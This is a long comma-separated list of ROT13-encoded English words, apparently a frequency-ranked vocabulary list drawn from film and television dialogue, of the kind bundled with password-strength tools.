rguvpny,fjbyyra,fjrngref,fghcvqrfg,frafngvba,fpnycry,cebcf,cerfpevorq,cbzcbhf,bowrpgvbaf,zhfuebbzf,zhyjenl,znavchyngvba,yherq,vagreafuvc,vafvtavsvpnag,vazngr,vapragvir,shysvyyrq,qvfnterrzrag,pelcg,pbearerq,pbcvrq,oevtugrfg,orrgubira,nggraqnag,nznmr,lbtheg,jlaqrzrer,ibpnohynel,ghyfn,gnpgvp,fghssl,erfcvengbe,cergraqf,cbyltencu,craavrf,beqvanevyl,byvirf,arpxf,zbenyyl,znegle,yrsgbiref,wbvagf,ubccvat,ubzrl,uvagf,urnegoebxra,sbetr,sybevfg,svefgunaq,svraq,qnaql,pevccyrq,pbeerpgrq,pbaavivat,pbaqvgvbare,pyrnef,purzb,ohooyl,oynqqre,orrcre,oncgvfz,jvevat,jrapu,jrnxarffrf,ibyhagrrevat,ivbyngvat,haybpxrq,ghzzl,fheebtngr,fhovq,fgenl,fgnegyr,fcrpvsvpf,fybjvat,fpbbg,ebooref,evtugshy,evpurfg,dskzwevr,chssf,cvreprq,crapvyf,cnenylfvf,znxrbire,yhapurba,yvaxflaretl,wrexl,wnphmmv,uvgpurq,unatbire,senpgher,sybpx,sverzra,qvfthfgrq,qnearq,pynzf,obeebjvat,onatrq,jvyqrfg,jrveqre,hanhgubevmrq,fghagf,fyrrirf,fvkgvrf,fuhfu,funyg,ergeb,dhvgf,crttrq,cnvashyyl,cntvat,bzryrg,zrzbevmrq,ynjshyyl,wnpxrgf,vagreprcg,vaterqvrag,tebjahc,tyhrq,shysvyyvat,rapunagrq,qryhfvba,qnevat,pbzcryyvat,pnegba,oevqrfznvqf,oevorq,obvyvat,onguebbzf,onaqntr,njnvgvat,nffvta,neebtnapr,nagvdhrf,nvafyrl,ghexrlf,genfuvat,fgbpxvatf,fgnyxrq,fgnovyvmrq,fxngrf,frqngrq,eborf,erfcrpgvat,cflpur,cerfhzcghbhf,cerwhqvpr,cnentencu,zbpun,zvagf,zngvat,znagna,ybear,ybnqf,yvfgrare,vgvarenel,urcngvgvf,urnir,thrffrf,snqvat,rknzvavat,qhzorfg,qvfujnfure,qrprvir,phaavat,pevccyr,pbaivpgvbaf,pbasvqrq,pbzchyfvir,pbzcebzvfvat,ohetynel,ohzcl,oenvajnfurq,orarf,neavr,nssvezngvir,nqeranyvar,nqnznag,jngpuva,jnvgerffrf,genaftravp,gbhturfg,gnvagrq,fheebhaq,fgbezrq,fcerr,fcvyyvat,fcrpgnpyr,fbnxvat,fuerqf,frjref,frirerq,fpnepr,fpnzzvat,fpnyc,erjvaq,erurnefvat,cergragvbhf,cbgvbaf,bireengrq,bofgnpyr,areqf,zrrzf,zpzhecul,zngreavgl,znarhire,ybngur,sregvyvgl,rybcvat,rpfgngvp,rpfgnfl,qvibepvat,qvtana,pbfgvat,pyhoubhfr,pybpxf,pnaqvq,ohefgvat,oerngure,oenprf,oraqvat,nefbavfg,nqberq,nofbeo,inyvnag,hcubyq,hanezrq,gbcbyfxl,guevyyvat,guvtu,grezvangr,fhfgnva,fcnprfuvc,faber,farrmr,fzhttyvat,fnygl,dhnvag,cngebavmr,cngvb,zbeovq,znzzn,xrggyr,wblbhf,vaivapvoyr,vagrecerg,vafrphevgvrf,vzchyfrf,vyyhfvbaf,ubyrq,rkcybvg,qeviva,qrsrafryrff,qrqvpngr,penqyr,pbhcba,pbhagyrff,pbawher,pneqobneq,obbxvat,onpxfrng,nppbzcyvfuzrag,jbeqfjbegu,jvfryl,inyrg,inppvar,hetrf,haangheny,hayhpxl,gehguf,genhzngvmrq,gnfgvat,fjrnef,fgenjoreevrf,fgrnxf,fgngf,fxnax,frqhpvat,frpergvir,fphzont,fperjqevire,fpurqhyrf,ebbgvat,evtugshyyl,enggyrq,dhnyvsvrf,chccrgf,cebfcrpgf,cebagb,cbffr,cbyyvat,crqrfgny,cnyzf,zhqql,zbegl,zvpebfpbcr,zrepv,yrpghevat,vawrpg,vapevzvangr,ultvrar,tencrsehvg,tnmrob,shaavre,phgre,obffl,obbol,nvqrf,mraqr,jvaguebc,jneenagf,inyragvarf,haqerffrq,haqrentr,gehgushyyl,gnzcrerq,fhssref,fcrrpuyrff,fcnexyvat,fvqryvarf,fuerx,envyvat,choregl,crfxl,bhgentr,bhgqbbef,zbgvbaf,zbbqf,yhapurf,yvggre,xvqanccref,vgpuvat,vaghvgvba,vzvgngvba,uhzvyvgl,unffyvat,tnyybaf,qehtfgber,qbfntr,qvfehcg,qvccvat,qrenatrq,qrongvat,phpxbb,perzngrq,penmvarff,pbbcrengvat,pvephzfgnagvny,puvzarl,oyvaxvat,ovfphvgf,nqzvevat,jrrcvat,gevnq,genful,fbbguvat,fyhzore,fynlref,fxvegf,fvera,fuvaqvt,fragvzrag,ebfpb,evqqnapr,dhnvq,chevgl,cebprrqvat,cergmryf,cnavpxvat,zpxrpuavr,ybiva,yrnxrq,vagehqvat,vzcrefbangvat,vtabenapr,unzohetref,sbbgcevagf,syhxr,syrnf,srfgvivgvrf,sraprf,srvfgl,rinphngr,rzretrapvrf,qrprvirq,perrcvat,penmvrfg,pbecfrf,pbaarq,pbvapvqraprf,obhaprq,obqlthneqf,oynfgrq,ovggrearff,onybarl,nfugenl,ncbpnylcfr,mvyyvba,jngretngr,jnyycncre,gryrfnir,flzcnguvmr,fjrrgre,fgnegva,fcnqrf,fbqnf,fabjrq,fyrrcbire,fvtabe,frrva,ergnvare,erfgebbz,erfgrq,ercrephffvbaf,eryvivat,erpbapvyr,cerinvy,cernpuvat,bireernpg,b'arvy,abbfr,zbhfgnpur,znavpher,znvqf,ynaqynql,ulcbgurgvpny,ubccrq,ubzrfvpx,uvirf,urfvgngvba,ureof,urpgvp,urnegoernx,unhagvat,tnatf,sebja,svatrecevag,rkunhfgvat,rirelgvzr,qvfertneq,pyvat,purieba,puncrebar,oyvaqvat,ovggl,ornqf,onggyvat,onqtrevat,nagvpvcngvba,hcfgnaqvat,hacebsrffvbany,haurnygul,ghezbvy,gehgushy,gbbgucnfgr,gvccva,gubhtugyrff,gntngnln,fubbgref,frafryrff,erjneqvat,cebcnar,cercbfgrebhf,cvtrbaf,cnfgel,bireurnevat,bofprar,artbgvnoyr,ybare,wbttvat,vgpul,vafvahngvat,vafvqrf,ubfcvgnyvgl,ubezbar,urnefg,sbegupbzvat,svfgf,svsgvrf,rgvdhrggr,raqvatf,qrfgeblf,qrfcvfrf,qrcevirq,phqql,pehfg,pybnx,pvephzfgnapr,purjrq,pnffrebyr,ovqqre,ornere,negbb,nccynhq,nccnyyvat,ibjrq,ivetvaf,ivtvynagr,haqbar,guebggyr,grfgbfgrebar,gnvybe,flzcgbz,fjbbc,fhvgpnfrf,fgbzc,fgvpxre,fgnxrbhg,fcbvyvat,fangpurq,fzbbpul,fzvggra,funzryrff,erfgenvagf,erfrnepuvat,erarj,ershaq,erpynvz,enbhy,chmmyrf,checbfryl,chaxf,cebfrphgrq,cynvq,cvpghevat,cvpxva,cnenfvgrf,zlfgrevbhfyl,zhygvcyl,znfpnen,whxrobk,vagreehcgvbaf,thasver,sheanpr,ryobjf,qhcyvpngr,qencrf,qryvorengr,qrpbl,pelcgvp,pbhcyn,pbaqrza,pbzcyvpngr,pbybffny,pyrexf,pynevgl,oehfurq,onavfurq,netba,nynezrq,jbefuvcf,irefn,hapnaal,grpuavpnyvgl,fhaqnr,fghzoyr,fgevccvat,fuhgf,fpuzhpx,fngva,fnyvin,eboore,eryragyrff,erpbaarpg,erpvcrf,erneenatr,enval,cflpuvngevfgf,cbyvprzra,cyhatr,cyhttrq,cngpurq,bireybnq,b'znyyrl,zvaqyrff,zrahf,yhyynol,ybggr,yrniva,xvyyva,xnevafxl,vainyvq,uvqrf,tebjahcf,tevss,synjf,synful,synzvat,srggrf,rivpgrq,qernq,qrtenffv,qrnyvatf,qnatref,phfuvba,objry,onetrq,novqr,nonaqbavat,jbaqreshyyl,jnvg'yy,ivbyngr,fhvpvqny,fgnlva,fbegrq,fynzzvat,fxrgpul,fubcyvsgvat,envfre,dhvmznfgre,cersref,arrqyrff,zbgureubbq,zbzragnevyl,zvtenvar,yvsgf,yrhxrzvn,yrsgbire,xrrcva,uvaxf,uryyubyr,tbjaf,tbbqvrf,tnyyba,shgherf,ragregnvarq,rvtugvrf,pbafcvevat,purrel,oravta,ncvrpr,nqwhfgzragf,nohfvir,noqhpgvba,jvcvat,juvccvat,jryyrf,hafcrnxnoyr,havqragvsvrq,gevivny,genafpevcgf,grkgobbx,fhcreivfr,fhcrefgvgvbhf,fgevpxra,fgvzhyngvat,fcvryoret,fyvprf,furyirf,fpengpurf,fnobgntrq,ergevriny,ercerffrq,erwrpgvat,dhvpxvr,cbavrf,crrxvat,bhgentrq,b'pbaaryy,zbcvat,zbnavat,znhfbyrhz,yvpxrq,xbivpu,xyhgm,vagreebtngvat,vagresrerq,vafhyva,vasrfgrq,vapbzcrgrapr,ulcre,ubeevsvrq,unaqrqyl,trxxb,senvq,senpgherq,rknzvare,rybcrq,qvfbevragrq,qnfuvat,penfuqbja,pbhevre,pbpxebnpu,puvccrq,oehfuvat,obzorq,obygf,onguf,oncgvmrq,nfgebanhg,nffhenapr,narzvn,nohryn,novqvat,jvguubyqvat,jrnir,jrneva,jrnxre,fhssbpngvat,fgenjf,fgenvtugsbejneq,fgrapu,fgrnzrq,fgneobneq,fvqrjnlf,fuevaxf,fubegphg,fpenz,ebnfgrq,ebnzvat,evivren,erfcrpgshyyl,erchyfvir,cflpuvngel,cebibxrq,cravgragvnel,cnvaxvyyref,avabgpuxn,zvgminu,zvyyvtenzf,zvqtr,znefuznyybjf,ybbxl,yncfr,xhoryvx,vagryyrpg,vzcebivfr,vzcynag,tbn'hyqf,tvqql,travhfrf,sehvgpnxr,sbbgvat,svtugva,qevaxva,qbbex,qrgbhe,phqqyr,penfurf,pbzob,pbybaanqr,purngf,prgren,onvyvss,nhqvgvbavat,nffrq,nzhfrq,nyvrangr,nvqvat,npuvat,hajnagrq,gbcyrff,gbathrf,gvavrfg,fhcrevbef,fbsgra,furyqenxr,enjyrl,envfvaf,cerffrf,cynfgre,arffn,aneebjrq,zvavbaf,zrepvshy,ynjfhvgf,vagvzvqngvat,vasveznel,vapbairavrag,vzcbfgre,uhttrq,ubabevat,ubyqva,unqrf,tbqsbefnxra,shzrf,sbetrel,sbbycebbs,sbyqre,synggrel,svatregvcf,rkgrezvangbe,rkcybqrf,rppragevp,qbqtvat,qvfthvfrq,penir,pbafgehpgvir,pbaprnyrq,pbzcnegzrag,puhgr,puvacbxbzba,obqvyl,nfgebanhgf,nyvzbal,npphfgbzrq,noqbzvany,jevaxyr,jnyybj,inyvhz,hagehr,hapbire,gerzoyvat,gernfherf,gbepurq,gbranvyf,gvzrq,grezvgrf,gryyl,gnhagvat,gnenafxl,gnyxre,fhpphohf,fznegf,fyvqvat,fvtugvat,frzra,frvmherf,fpneerq,fniil,fnhan,fnqqrfg,fnpevsvpvat,ehoovfu,evyrq,enggrq,engvbanyyl,cebiranapr,cubafr,crexl,crqny,bireqbfr,anfny,anavgrf,zhful,zbiref,zvffhf,zvqgrez,zrevgf,zrybqenzngvp,znaher,xavggvat,vainqvat,vagrecby,vapncnpvgngrq,ubgyvar,unhyvat,thacbvag,tenvy,tnamn,senzvat,synaary,snqrq,rnirfqebc,qrffregf,pnybevrf,oerngugnxvat,oyrnx,oynpxrq,onggre,ntteningrq,lnaxrq,jvtnaq,jubnu,hajvaq,haqbhogrqyl,hanggenpgvir,gjvgpu,gevzrfgre,gbeenapr,gvzrgnoyr,gnkcnlref,fgenvarq,fgnerq,fynccvat,fvaprevgl,fvqvat,furanavtnaf,funpxvat,fnccl,fnznevgna,cbbere,cbyvgryl,cnfgr,blfgref,bireehyrq,avtugpnc,zbfdhvgb,zvyyvzrgre,zreevre,znaubbq,yhpxrq,xvybf,vtavgvba,unhyrq,unezrq,tbbqjvyy,serfuzra,srazber,snfgra,snepr,rkcybqvat,reengvp,qehaxf,qvgpuvat,q'negntana,penzcrq,pbagnpgvat,pybfrgf,pyvragryr,puvzc,onetnvarq,neenatvat,narfgurfvn,nzhfr,nygrevat,nsgreabbaf,nppbhagnoyr,norggvat,jbyrx,jnirq,harnfl,gbqql,gnggbbrq,fcnhyqvatf,fyvprq,fveraf,fpuvorggn,fpnggre,evafr,erzrql,erqrzcgvba,cyrnfherf,bcgvzvfz,boyvtr,zzzzz,znfxrq,znyvpvbhf,znvyvat,xbfure,xvqqvrf,whqnf,vfbyngr,vafrphevgl,vapvqragnyyl,urnyf,urnqyvtugf,tebjy,tevyyvat,tynmrq,syhax,sybngf,svrel,snvearff,rkrepvfvat,rkpryyrapl,qvfpybfher,phcobneq,pbhagresrvg,pbaqrfpraqvat,pbapyhfvir,pyvpxrq,pyrnaf,pubyrfgreby,pnfurq,oebppbyv,oengf,oyhrcevagf,oyvaqsbyq,ovyyvat,nggnpu,nccnyyrq,nyevtugl,jlanag,hafbyirq,haeryvnoyr,gbbgf,gvtugra,fjrngfuveg,fgrvaoeraare,fgrnzl,fcbhfr,fbabtenz,fybgf,fyrrcyrff,fuvarf,ergnyvngr,ercuenfr,erqrrz,enzoyvat,dhvyg,dhneery,celvat,cebireovny,cevprq,cerfpevor,cerccrq,cenaxf,cbffrffvir,cynvagvss,crqvngevpf,bireybbxrq,bhgpnfg,avtugtbja,zhzob,zrqvbper,znqrzbvfryyr,yhapugvzr,yvsrfnire,yrnarq,ynzof,vagreaf,ubhaqvat,uryyzbhgu,ununun,tbare,tubhy,tneqravat,seraml,sblre,rkgenf,rknttrengr,rireynfgvat,rayvtugrarq,qvnyrq,qribgr,qrprvgshy,q'brhierf,pbfzrgvp,pbagnzvangrq,pbafcverq,pbaavat,pnirea,pneivat,ohggvat,obvyrq,oyheel,onolfvg,nfprafvba,nnnnnu,jvyqyl,jubbcrr,juval,jrvfxbcs,jnyxvr,ihygherf,inpngvbaf,hcsebag,haerfbyirq,gnzcrevat,fgbpxubyqref,fancf,fyrrcjnyxvat,fuehax,frezba,frqhpgvba,fpnzf,eribyir,curabzrany,cngebyyvat,cnenabezny,bhaprf,bzvtbq,avtugsnyy,ynfuvat,vaabpragf,vasvreab,vapvfvba,uhzzvat,unhagf,tybff,tybngvat,senaavr,srgny,srral,ragenczrag,qvfpbzsbeg,qrgbangbe,qrcraqnoyr,pbaprqr,pbzcyvpngvba,pbzzbgvba,pbzzrapr,puhynx,pnhpnfvna,pnfhnyyl,oenvare,obyvr,onyycnex,najne,nanylmvat,nppbzzbqngvbaf,lbhfr,jevat,jnyybjvat,genaftravpf,guevir,grqvbhf,fglyvfu,fgevccref,fgrevyr,fdhrrmvat,fdhrnxl,fcenvarq,fbyrza,fabevat,funggrevat,funool,frnzf,fpenjal,eribxrq,erfvqhr,errxf,erpvgr,enagvat,dhbgvat,cerqvpnzrag,cyhtf,cvacbvag,crgevsvrq,cngubybtvpny,cnffcbegf,bhtuggn,avtugre,anivtngr,xvccvr,vagevthr,vagragvbany,vafhssrenoyr,uhaxl,ubj'ir,ubeevslvat,urnegl,unzcgbaf,tenmvr,sharenyf,sbexf,srgpurq,rkpehpvngvat,rawblnoyr,raqnatre,qhzore,qelvat,qvnobyvpny,pebffjbeq,pbeel,pbzceruraq,pyvccrq,pynffzngrf,pnaqyryvtug,oehgnyyl,oehgnyvgl,obneqrq,onguebor,nhgubevmr,nffrzoyr,nrebovpf,jubyrfbzr,juvss,irezva,gebcuvrf,genvg,gentvpnyyl,gblvat,grfgl,gnfgrshy,fgbpxrq,fcvanpu,fvccvat,fvqrgenpxrq,fpehoovat,fpencvat,fnapgvgl,eboorevrf,evqva,ergevohgvba,ersenva,ernyvgvrf,enqvnag,cebgrfgvat,cebwrpgbe,cyhgbavhz,cnlva,cnegvat,b'ervyyl,abbbbb,zbgureshpxvat,zrnfyl,znavp,ynyvgn,whttyvat,wrexvat,vageb,varivgnoyl,ulcabfvf,uhqqyr,ubeeraqbhf,uboovrf,urnegsryg,uneyva,unveqerffre,tbabeeurn,shffvat,shegjnatyre,syrrgvat,synjyrff,synfurq,srghf,rhybtl,qvfgvapgyl,qvferfcrpgshy,qravrf,pebffobj,pertt,penof,pbjneqyl,pbagenpgvba,pbagvatrapl,pbasvezvat,pbaqbar,pbssvaf,pyrnafvat,purrfrpnxr,pregnvagl,pntrf,p'rfg,oevrsrq,oenirfg,obfbz,obvyf,ovabphynef,onpuryberggr,nccrgvmre,nzohfurq,nyregrq,jbbml,jvguubyq,ihytne,hgzbfg,hayrnfurq,haubyl,haunccvarff,hapbaqvgvbany,glcrjevgre,glcrq,gjvfgf,fhcrezbqry,fhocbranrq,fgevatvat,fxrcgvpny,fpubbytvey,ebznagvpnyyl,ebpxrq,eribve,erbcra,chapgher,cernpu,cbyvfurq,cynargnevhz,cravpvyyva,crnprshyyl,aheghevat,zber'a,zzuzz,zvqtrgf,znexyne,ybqtrq,yvsryvar,wryylsvfu,vasvygengr,uhgpu,ubefronpx,urvfg,tragf,sevpxva,serrmrf,sbesrvg,synxrf,synve,sngurerq,rgreanyyl,rcvcunal,qvftehagyrq,qvfpbhentrq,qryvadhrag,qrpvcure,qnairef,phorf,perqvoyr,pbcvat,puvyyf,purevfurq,pngnfgebcur,obzofuryy,oveguevtug,ovyyvbanver,nzcyr,nssrpgvbaf,nqzvengvba,noobggf,jungabg,jngrevat,ivartne,haguvaxnoyr,hafrra,hacercnerq,habegubqbk,haqreunaqrq,hapbby,gvzryrff,guhzc,gurezbzrgre,gurbergvpnyyl,gnccvat,gnttrq,fjhat,fgnerf,fcvxrq,fbyirf,fzhttyr,fpnevre,fnhpre,dhvggre,cehqrag,cbjqrerq,cbxrq,cbvagref,crevy,crargengr,cranapr,bcvhz,ahqtr,abfgevyf,arhebybtvpny,zbpxrel,zbofgre,zrqvpnyyl,ybhqyl,vafvtugf,vzcyvpngr,ulcbpevgvpny,uhznayl,ubyvarff,urnyguvre,unzzrerq,unyqrzna,thazna,tybbz,serfuyl,senapf,syhaxrq,synjrq,rzcgvarff,qehttvat,qbmre,qrerixb,qrcevir,qrbqbenag,pelva,pebpbqvyr,pbybevat,pbyqre,pbtanp,pybpxrq,pyvccvatf,punenqrf,punagvat,pregvsvnoyr,pngreref,oehgr,oebpuherf,obgpurq,oyvaqref,ovgpuva,onagre,jbxra,hypre,gernq,gunaxshyyl,fjvar,fjvzfhvg,fjnaf,fgerffvat,fgrnzvat,fgnzcrq,fgnovyvmr,fdhvez,fabbmr,fuhssyr,fuerqqrq,frnsbbq,fpengpul,fnibe,fnqvfgvp,eurgbevpny,eriyba,ernyvfg,cebfrphgvat,cebcurpvrf,cbylrfgre,crgnyf,crefhnfvba,cnqqyrf,b'yrnel,ahguva,arvtuobhe,artebrf,zhfgre,zravatvgvf,zngeba,ybpxref,yrggrezna,yrttrq,vaqvpgzrag,ulcabgvmrq,ubhfrxrrcvat,ubcryrffyl,unyyhpvangvbaf,tenqre,tbyqvybpxf,tveyl,synfx,rairybcrf,qbjafvqr,qbirf,qvffbyir,qvfpbhentr,qvfnccebir,qvnorgvp,qryvirevrf,qrpbengbe,pebffsver,pevzvanyyl,pbagnvazrag,pbzenqrf,pbzcyvzragnel,punggre,pngpul,pnfuvre,pnegry,pnevobh,pneqvbybtvfg,oenjy,obbgrq,oneorefubc,nelna,natfg,nqzvavfgre,mryyvr,jernx,juvfgyrf,inaqnyvfz,inzcf,hgrehf,hcfgngr,hafgbccnoyr,haqrefghql,gevfgva,genafpevcg,genadhvyvmre,gbkvaf,gbafvyf,fgrzcry,fcbggvat,fcrpgngbe,fcnghyn,fbsgre,fabggl,fyvatvat,fubjrerq,frkvrfg,frafhny,fnqqre,evzonhq,erfgenva,erfvyvrag,erzvffvba,ervafgngr,erunfu,erpbyyrpgvba,enovrf,cbcfvpyr,cynhfvoyr,crqvngevp,cngebavmvat,bfgevpu,begbynav,bbbbbu,bzryrggr,zvfgevny,znefrvyyrf,ybbcubyr,ynhtuva,xriil,veevgngrq,vasvqryvgl,ulcbgurezvn,ubeevsvp,tebhcvr,tevaqvat,tenprshy,tbbqfcrrq,trfgherf,senagvp,rkgenqvgvba,rpuryba,qvfxf,qnjavr,qnerq,qnzfry,pheyrq,pbyyngreny,pbyyntr,punag,pnyphyngvat,ohzcvat,oevorf,obneqjnyx,oyvaqf,oyvaqyl,oyrrqf,ovpxrevat,ornfgf,onpxfvqr,niratr,ncceruraqrq,nathvfu,nohfvat,lbhgushy,lryyf,lnaxvat,jubzrire,jura'q,ibzvgvat,iratrshy,hacnpxvat,hasnzvyvne,haqlvat,ghzoyr,gebyyf,gernpurebhf,gvccvat,gnagehz,gnaxrq,fhzzbaf,fgencf,fgbzcrq,fgvaxva,fgvatf,fgnxrq,fdhveeryf,fcevaxyrf,fcrphyngr,fbegvat,fxvaarq,fvpxb,fvpxre,fubbgva,funggre,frrln,fpuanccf,f'cbfrq,ebarr,erfcrpgshy,ertebhc,erterggvat,erryvat,erpxbarq,enzvsvpngvbaf,chqql,cebwrpgvbaf,cerfpubby,cyvffxra,cyngbavp,creznynfu,bhgqbar,bhgohefg,zhgnagf,zhttvat,zvfsbeghar,zvfrenoyl,zvenphybhfyl,zrqvpngvbaf,znetnevgnf,znacbjre,ybirznxvat,ybtvpnyyl,yrrpurf,yngevar,xarry,vasyvpg,vzcbfgbe,ulcbpevfl,uvccvrf,urgrebfrkhny,urvtugrarq,urphon,urnyre,thaarq,tebbzvat,tebva,tbbrl,tybbzl,selvat,sevraqfuvcf,serqb,svercbjre,sngubz,rkunhfgvba,rivyf,raqrnibe,rttabt,qernqrq,q'nepl,pebgpu,pbhtuvat,pbebanel,pbbxva,pbafhzzngr,pbatengf,pbzcnavbafuvc,pnirq,pnfcne,ohyyrgcebbs,oevyyvnapr,oernxva,oenfu,oynfgvat,nybhq,nvegvtug,nqivfvat,nqiregvfr,nqhygrel,npurf,jebatrq,hcorng,gevyyvba,guvatvrf,graqvat,gnegf,fheerny,fcrpf,fcrpvnyvmr,fcnqr,fuerj,funcvat,fryirf,fpubbyjbex,ebbzvr,erphcrengvat,enovq,dhneg,cebibpngvir,cebhqyl,cergrafrf,cerangny,cuneznprhgvpnyf,cnpvat,birejbexrq,bevtvanyf,avpbgvar,zheqrebhf,zvyrntr,znlbaanvfr,znffntrf,ybfva,vagreebtngrq,vawhapgvba,vzcnegvny,ubzvat,urnegoernxre,unpxf,tynaqf,tvire,senvmu,syvcf,synhag,ratyvfuzna,ryrpgebphgrq,qhfgvat,qhpxvat,qevsgrq,qbangvat,plyba,pehgpurf,pengrf,pbjneqf,pbzsbegnoyl,puhzzl,puvgpung,puvyqovegu,ohfvarffjbzna,oebbq,oyngnag,orgul,oneevat,onttrq,njnxrarq,nforfgbf,nvecynarf,jbefuvccrq,jvaavatf,jul'er,ivfhnyvmr,hacebgrpgrq,hayrnfu,genlf,guvpxre,gurencvfgf,gnxrbss,fgervfnaq,fgberebbz,fgrgubfpbcr,fgnpxrq,fcvgrshy,farnxf,fanccvat,fynhtugrerq,fynfurq,fvzcyrfg,fvyirejner,fuvgf,frpyhqrq,fpehcyrf,fpehof,fpencf,ehcgherq,ebnevat,erprcgvbavfg,erpnc,enqvgpu,enqvngbe,chfubire,cynfgrerq,cuneznpvfg,creirefr,crecrgengbe,beanzrag,bvagzrag,avargvrf,anccvat,anaavrf,zbhffr,zbbef,zbzragnel,zvfhaqrefgnaqvatf,znavchyngbe,znyshapgvba,ynprq,xvine,xvpxva,vashevngvat,vzcerffvbanoyr,ubyqhc,uverf,urfvgngrq,urnqcubarf,unzzrevat,tebhaqjbex,tebgrfdhr,tenprf,tnhmr,tnatfgref,sevibybhf,serrvat,sbhef,sbejneqvat,sreenef,snhygl,snagnfvmvat,rkgenpheevphyne,rzcngul,qvibeprf,qrgbangr,qrcenirq,qrzrnavat,qrnqyvarf,qnynv,phefvat,phssyvax,pebjf,pbhcbaf,pbzsbegrq,pynhfgebcubovp,pnfvabf,pnzcrq,ohfobl,oyhgu,oraarggf,onfxrgf,nggnpxre,ncynfgvp,natevre,nssrpgvbangr,mnccrq,jbezubyr,jrnxra,haernyvfgvp,haeniry,havzcbegnag,hasbetrggnoyr,gjnva,fhfcraq,fhcreobjy,fghggre,fgrjneqrff,fgrcfba,fgnaqva,fcnaqrk,fbhiravef,fbpvbcngu,fxryrgbaf,fuvirevat,frkvre,frysvfuarff,fpencobbx,evgnyva,evoobaf,erhavgr,erzneel,erynkngvba,enggyvat,encvfg,cflpubfvf,cerccvat,cbfrf,cyrnfvat,cvffrf,cvyvat,crefrphgrq,cnqqrq,bcrengvirf,artbgvngbe,anggl,zrabcnhfr,zraavuna,znegvzzlf,yblnygvrf,ynlavr,ynaqb,whfgvsvrf,vagvzngryl,varkcrevraprq,vzcbgrag,vzzbegnyvgl,ubeebef,ubbxl,uvatrf,urnegoernxvat,unaqphssrq,tlcfvrf,thnpnzbyr,tebiry,tenmvryyn,tbttyrf,trfgncb,shffl,sreentnzb,srroyr,rlrfvtug,rkcybfvbaf,rkcrevzragvat,rapunagvat,qbhogshy,qvmmvarff,qvfznagyr,qrgrpgbef,qrfreivat,qrsrpgvir,qnatyvat,qnapva,pehzoyr,pernzrq,penzcvat,pbaprny,pybpxjbex,puevffnxrf,puevffnxr,pubccvat,pnovargf,oebbqvat,obasver,oyheg,oybngrq,oynpxznvyre,orsberunaq,ongurq,ongur,onepbqr,onavfu,onqtrf,onooyr,njnvg,nggragvir,nebhfrq,nagvobqvrf,navzbfvgl,ln'yy,jevaxyrq,jbaqreynaq,jvyyrq,juvfx,jnygmvat,jnvgerffvat,ivtvynag,hcoevatvat,hafrysvfu,hapyrf,geraql,genwrpgbel,fgevcrq,fgnzvan,fgnyyrq,fgnxvat,fgnpxf,fcbvyf,fahss,fabbgl,favqr,fuevaxvat,fraben,frpergnevrf,fpbhaqery,fnyvar,fnynqf,ehaqbja,evqqyrf,eryncfr,erpbzzraqvat,enfcoreel,cyvtug,crpna,cnagel,birefyrcg,beanzragf,avare,artyvtrag,artyvtrapr,anvyvat,zhpub,zbhgurq,zbafgebhf,znycenpgvpr,ybjyl,ybvgrevat,ybttrq,yvatrevat,yrggva,ynggrf,xnzny,whebe,wvyyrsfxl,wnpxrq,veevgngr,vagehfvba,vafngvnoyr,vasrpg,vzcebzcgh,vpvat,uzzzz,ursgl,tnfxrg,sevtugraf,synccvat,svefgobea,snhprg,rfgenatrq,raivbhf,qbcrl,qbrfa,qvfcbfvgvba,qvfcbfnoyr,qvfnccbvagzragf,qvccrq,qvtavsvrq,qrprvg,qrnyrefuvc,qrnqorng,phefrf,pbira,pbhafrybef,pbapvretr,pyhgpurf,pnfonu,pnyybhf,pnubbgf,oebgureyl,oevgpurf,oevqrf,orguvr,orvtr,nhgbtencurq,nggraqnagf,nggnobl,nfgbavfuvat,nccerpvngvir,nagvovbgvp,narhelfz,nsgreyvsr,nssvqnivg,mbavat,jungf,junqqnln,infrpgbzl,hafhfcrpgvat,gbhyn,gbcnatn,gbavb,gbnfgrq,gvevat,greebevmrq,graqrearff,gnvyvat,fjrngf,fhssbpngrq,fhpxl,fhopbafpvbhfyl,fgneiva,fcebhgf,fcvaryrff,fbeebjf,fabjfgbez,fzvex,fyvprel,fyrqqvat,fynaqre,fvzzre,fvtaben,fvtzhaq,friragvrf,frqngr,fpragrq,fnaqnyf,ebyyref,ergenpgvba,erfvtavat,erphcrengr,erprcgvir,enpxrgrrevat,dhrnfl,cebibxvat,cevbef,cerebtngvir,cerzrq,cvapurq,craqnag,bhgfvqref,beovat,bccbeghavfg,bynabi,arhebybtvfg,anabobg,zbzzvrf,zbyrfgrq,zvfernq,znaarerq,ynhaqebzng,vagrepbz,vafcrpg,vafnaryl,vasnghngvba,vaqhytrag,vaqvfpergvba,vapbafvqrengr,uheenu,ubjyvat,urecrf,unfgn,unenffrq,unahxxnu,tebiryvat,tebbfnyht,tnaqre,tnynpgvpn,shgvyr,sevqnlf,syvre,svkrf,rkcybvgvat,rkbepvfz,rinfvir,raqbefr,rzcgvrq,qernel,qernzl,qbjaybnqrq,qbqtrq,qbpgberq,qvfborlrq,qvfarlynaq,qvfnoyr,qrulqengrq,pbagrzcyngvat,pbpbahgf,pbpxebnpurf,pybttrq,puvyyvat,puncreba,pnzrenzna,ohyof,ohpxynaqf,oevovat,oenin,oenpryrgf,objryf,oyhrcbvag,nccrgvmref,nccraqvk,nagvpf,nabvagrq,nanybtl,nyzbaqf,lnzzrevat,jvapu,jrveqarff,jnatyre,ivoengvbaf,iraqbe,haznexrq,hanaabhaprq,gjrec,gerfcnff,genirfgl,genafshfvba,genvarr,gbjryvr,gverfbzr,fgenvtugravat,fgnttrevat,fbane,fbpvnyvmvat,fvahf,fvaaref,funzoyrf,frerar,fpencrq,fpbarf,fprcgre,fneevf,fnoreuntra,evqvphybhfyl,evqvphyr,eragf,erpbapvyrq,enqvbf,choyvpvfg,chorf,cehar,cehqr,cerpevzr,cbfgcbavat,cyhpx,crevfu,crccrezvag,crryrq,bireqb,ahgfuryy,abfgnytvp,zhyna,zbhguvat,zvfgbbx,zrqqyr,znlobhear,znegvzzl,ybobgbzl,yviryvubbq,yvcczna,yvxrarff,xvaqrfg,xnssrr,wbpxf,wrexrq,wrbcneqvmvat,wnmmrq,vafherq,vadhvfvgvba,vaunyr,vatravbhf,ubyvre,uryzrgf,urveybbz,urvabhf,unfgr,unezfjnl,uneqfuvc,unaxl,thggref,tehrfbzr,tebcvat,tbbsvat,tbqfba,tyner,svarffr,svthengviryl,sreevr,raqnatrezrag,qernqvat,qbmrq,qbexl,qzvgev,qvireg,qvfperqvg,qvnyvat,phssyvaxf,pehgpu,pencf,pbeehcgrq,pbpbba,pyrnintr,pnaarel,olf